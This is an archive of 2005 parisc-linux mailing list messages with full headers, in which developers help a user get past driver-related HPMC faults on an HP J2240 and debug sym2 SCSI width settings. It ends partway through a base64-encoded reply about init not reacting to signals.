Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 03:17:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 31 Dec 2005 04:17:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9EB87D6FD;
	Fri, 30 Dec 2005 20:17:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04921-05; Fri, 30 Dec 2005 20:17:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC89F7D702;
	Fri, 30 Dec 2005 20:17:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA82D7D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:17:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03904-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:17:14 -0700 (MST)
Original-Received: from mxsf35.cluster1.charter.net (mxsf35.cluster1.charter.net
	[209.225.28.160])
	by free.linux.hp.com (Postfix) with ESMTP id B90737D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:17:14 -0700 (MST)
Original-Received: from mxip26a.cluster1.charter.net (mxip26a.cluster1.charter.net
	[209.225.28.181])
	by mxsf35.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	jBV3HCMC030523 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 22:17:12 -0500
Original-Received: from 24-176-131-136.dhcp.sffl.va.charter.com (HELO POGO)
	([24.176.131.136])
	by mxip26a.cluster1.charter.net with ESMTP; 30 Dec 2005 22:17:07 -0500
X-IronPort-AV: i="3.99,317,1131339600"; 
	d="scan'208"; a="611234261:sNHT22063780"
X-Mailer: Microsoft Office Outlook 11
In-Reply-To: <20051230200924.GA3556@tachyon.int.mcmartin.ca>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
Thread-Index: AcYNfPXxJWNh9I0yQdCyph37ifKTEQAOn8jA
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Hp3HY8lEeSEkPL6WZHQhaXN1IGRvbwB4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23304

I tried adding "single" to various parts of the PALO command line.  No luck.
Since the error at least looks like it is related to the FDDI card, I
re-installed using the other NIC as my primary (eth1).  No difference.

The LCD just keeps cycling through...

FLT 5108.8-2-32
FLT 5408.8-2-32
FLT 5505.8-2-32
FLT CBF4.8-2-32
FLT CBFC.8-2-32
FLT CBF0.8-2-32


The system is in my den and not very accessible to take apart and start
pulling cards.

I guess I should have gone with my original plan to load this thing in my
truck and haul it to the dump, but now I'm determined to make it work.  Any
other ideas?



-----Original Message-----
From: Kyle McMartin [mailto:kyle@mcmartin.ca] 
Sent: Friday, December 30, 2005 3:09 PM
To: Craig D. Lansing
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] J2240 - Almost there....

On Fri, Dec 30, 2005 at 10:51:22AM -0500, Craig D. Lansing wrote:
> defxx.c:v1.06 2003/08/04 Lawrence V. Stephani and others
> fddi%d: DEFPA at I/O addr = 0x100, IRQ = 96, Hardware addr =
58-B0-60-00-00-00

I'm going to take a stab and say this is your problem. You're likely going
to see a HPMC chassis code however this machine displays such a thing (look
up the LED code, or it should display it right on an LCD if it was one.)

[Thanks for identifying a piece of non-working hardware.]

To work around this, you have two options:

	1 - Remove the expansion card, if possible.

	2 - Boot single user, (append single to the PALO/IPL command line)
		2.1 - Edit/create /etc/hotplug/blacklist.d/parisc and
			add the module name (probably defxx) to the file.

If other modules give you grief, repeat the step to blacklist them.

I'll make sure this module doesn't get built into the kernel, the driver
is probably written non-portably, and thus fails miserably on 'odd'
hardware like parisc.

Cheers,
	Kyle

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym2 changes between 2.6.12 and 2.6.15
Date: Fri, 30 Dec 2005 20:18:35 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20051231031835.GB19769@parisc-linux.org>
References: <7d01f9f00512291016k67676c59i759121abdfa0cf24@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623969 17557 80.91.229.3 (22 Nov 2014 02:39:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 03:18:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 31 Dec 2005 04:18:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63A7D7D728;
	Fri, 30 Dec 2005 20:18:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05396-06; Fri, 30 Dec 2005 20:18:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 825707D725;
	Fri, 30 Dec 2005 20:18:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89C9B7D723
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:18:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04921-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:18:36 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 092677D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:18:36 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 58578494005; Fri, 30 Dec 2005 20:18:35 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <7d01f9f00512291016k67676c59i759121abdfa0cf24@mail.gmail.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xJ3HY1BGeSEkV76WZHQhaXN1IGRvb8CL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23305

On Thu, Dec 29, 2005 at 07:16:19PM +0100, Thibaut VARENE wrote:
> I recently got 2.6.15-rc7-pa0 booting up on my rp3440 and noticed sym
> wasn't initializing HDs as it previously was, in fact it was
> initializing in Narrow mode instead of wide:

You should probably try kernels either side of:

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2005-December/036342.html

to be sure we're debugging the right problem.  Or take out the
"         spi_max_width(tp->starget) = tp->usr_width;" line from sym_glue.c

> at which point jejb said:
> <jejb> OK, it's picking up narrow as an nvram setting
> <jejb> that's a new feature of the driver (believing the nvram)
> <jejb> there's probably some secret PDC call we should be doing instead

But we already are -- see sym_read_parisc_pdc() and sym_nvram_setup_host().

Could you dump the contents of nvram->data.parisc ?

I have a feeling we're not doing something right though, because we
should only be setting width on a 9000/785 (ie C3000-family).

Debugging needed, please!
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Fri, 30 Dec 2005 22:30:58 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20051231033058.GA1497@quicksilver.road.mcmartin.ca>
References: <20051230200924.GA3556@tachyon.int.mcmartin.ca>
	<000301c60db8$ab35c850$3401a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623970 17560 80.91.229.3 (22 Nov 2014 02:39:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <clansing@charter.net>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 03:31:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 31 Dec 2005 04:31:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9DCA7D732;
	Fri, 30 Dec 2005 20:31:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05490-04; Fri, 30 Dec 2005 20:31:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0E587D72D;
	Fri, 30 Dec 2005 20:31:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC5907D72B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:31:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05490-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:31:21 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 20DD37D72A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 20:31:21 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id A711423E83;
	Fri, 30 Dec 2005 22:31:19 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02085-06; Fri, 30 Dec 2005 22:31:19 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 6A7E823E82;
	Fri, 30 Dec 2005 22:31:19 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 1EBBC3B059; Fri, 30 Dec 2005 22:30:59 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <000301c60db8$ab35c850$3401a8c0@POGO>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: w57HY8lYeSEkJ76WZHQhaXN1IGRvb0CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23306

On Fri, Dec 30, 2005 at 10:16:59PM -0500, Craig D. Lansing wrote:
> I tried adding "single" to various parts of the PALO command line.  No luck.
> Since the error at least looks like it is related to the FDDI card, I
> re-installed using the other NIC as my primary (eth1).  No difference.
>

Bah. Instead of single use "init=/bin/sh" and run mount -o remount,rw /
to remount your root fs read-write, then follow the same step.

Definitely sounds like an HPMC because of a bad driver. What types
of expansion card do you have in that thing?

[You really shouldn't just throw it out, it's quite a nice box...]

Cheers,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym2 changes between 2.6.12 and 2.6.15
Date: Fri, 30 Dec 2005 23:56:56 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <1136008616.3330.10.camel@mulgrave>
References: <7d01f9f00512291016k67676c59i759121abdfa0cf24@mail.gmail.com>
	<20051231031835.GB19769@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623970 17563 80.91.229.3 (22 Nov 2014 02:39:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 05:57:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 31 Dec 2005 06:57:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 564767D72B;
	Fri, 30 Dec 2005 22:57:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05987-04; Fri, 30 Dec 2005 22:57:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D4687D72D;
	Fri, 30 Dec 2005 22:57:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C84167D72A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 22:57:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05702-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 22:57:05 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 05B2E7D728
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 22:57:04 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	jBV5uv229258; Sat, 31 Dec 2005 00:56:57 -0500
In-Reply-To: <20051231031835.GB19769@parisc-linux.org>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7HjEY2NdeSEkNL6WZHQhaXN1IGRvbwCf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23307

On Fri, 2005-12-30 at 20:18 -0700, Matthew Wilcox wrote:
> > <jejb> OK, it's picking up narrow as an nvram setting
> > <jejb> that's a new feature of the driver (believing the nvram)
> > <jejb> there's probably some secret PDC call we should be doing instead
> 
> But we already are -- see sym_read_parisc_pdc() and sym_nvram_setup_host().
> 
> Could you dump the contents of nvram->data.parisc ?
> 
> I have a feeling we're not doing something right though, because we
> should only be setting width on a 9000/785 (ie C3000-family).
> 
> Debugging needed, please!

Debugging only needed if you can tell me how nvram->data.parisc gets
plugged into tp->usr_period and tp->usr_width which you use to set up
the max values in slave configure.  These seem to be uninitialised for
the PDC methods (only for the NVRAM or TEKRAM).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: init pause() on some systems but not all?
Date: Sat, 31 Dec 2005 15:24:56 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <e6eae0290512310624k42a29b4fr@mail.gmail.com>
References: <43B45642.1050909@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1020492483=="
X-Trace: ger.gmane.org 1416623970 17564 80.91.229.3 (22 Nov 2014 02:39:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 14:25:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 31 Dec 2005 15:25:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E546B7D73C;
	Sat, 31 Dec 2005 07:25:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09555-09; Sat, 31 Dec 2005 07:25:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B48F37D73D;
	Sat, 31 Dec 2005 07:25:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C31AC7D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 07:24:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09555-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 07:24:58 -0700 (MST)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.204])
	by free.linux.hp.com (Postfix) with ESMTP id 28E607D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 07:24:58 -0700 (MST)
Original-Received: by zproxy.gmail.com with SMTP id 18so1756320nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 06:24:57 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=c9TAGwtVOJhWuL/NaAHsgnx4219PA3X7oE52DuucRdgK7Hkw9z4Vf2T73b4+3Let3YvbTGU7pPFvZ5mxOGazVqmbLlnvwh3/hEQOFULxmpyGYXhO+A2vYRK9dmkCy+riqnKaUSwLZ3sa3crwFjp/x4X0FRPRwhi3upN8ydIDRLs=
Original-Received: by 10.65.197.10 with SMTP id z10mr4499282qbp;
	Sat, 31 Dec 2005 06:24:56 -0800 (PST)
Original-Received: by 10.64.209.4 with HTTP; Sat, 31 Dec 2005 06:24:56 -0800 (PST)
In-Reply-To: <43B45642.1050909@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k/HEY9s4eSEkdL6WZHQhaXN1IGRvb0DG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23308

--===============1020492483==
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

SGkgSm9lbCAmIFBBLAoKSSBhbHNvIGhhdmUgdGhlIHNhbWUsIG9yIGF0IGxlYXN0IHNpbWlsYXIg
cHJvYmxlbSBvbiBteSBjMzcwMAooMi42LjE1LXJjMS1wYTEsIDIuNi4xNS1yYzUtcGEzLCBkZWJp
YW4vdGVzdGluZyk6CkEgJ3NodXRkb3duJyBvciAncmVib290JyBkb2VzIG5vdGhpbmcgZXhjZXB0
IHRoZSB3YWxsb3AsIGFuZCBpdCBzZWVtcyB0aGF0Cih0ZWwpaW5pdCBkb2Vzbid0IHJlYWN0IHRv
IHNpZ25hbHMgaW4gZ2VuZXJhbC4KQWxzbyBoaXR0aW5nIHRoZSBwb3dlcm9mZiBidXR0b24ganVz
dCBwb3dlcnMgb2ZmIHRoZSBtYWNoaW5lIGFmdGVyIGEKY2VydGFpbiBhbW91bnQKb2YgdGltZSAo
YXJvdW5kIDMwLTYwcyksIGJ1dCB0aGUgJ2luaXQgNicgaXQgc2hvdWxkIHRyaWdnZXIgZG9lc24n
dCB3b3JrLCB0aHVzCkkgaGF2ZSB1bmNoZWNrZWQgZmlsZXN5c3RlbXMgb24gdGhlIG5leHQgYm9v
dC4KClRoaXMgbGVhZHMgbWUgdG8gYW5vdGhlciwgcmF0aGVyIHVucmVsYXRlZCBidWc6Ckkgb25s
eSB1c2UgeGZzIGFuZCBpdCB3b3JrcyBhbG1vc3QgZmxhd2xlc3NseSwgZXhjZXB0IHRoYXQgaXQg
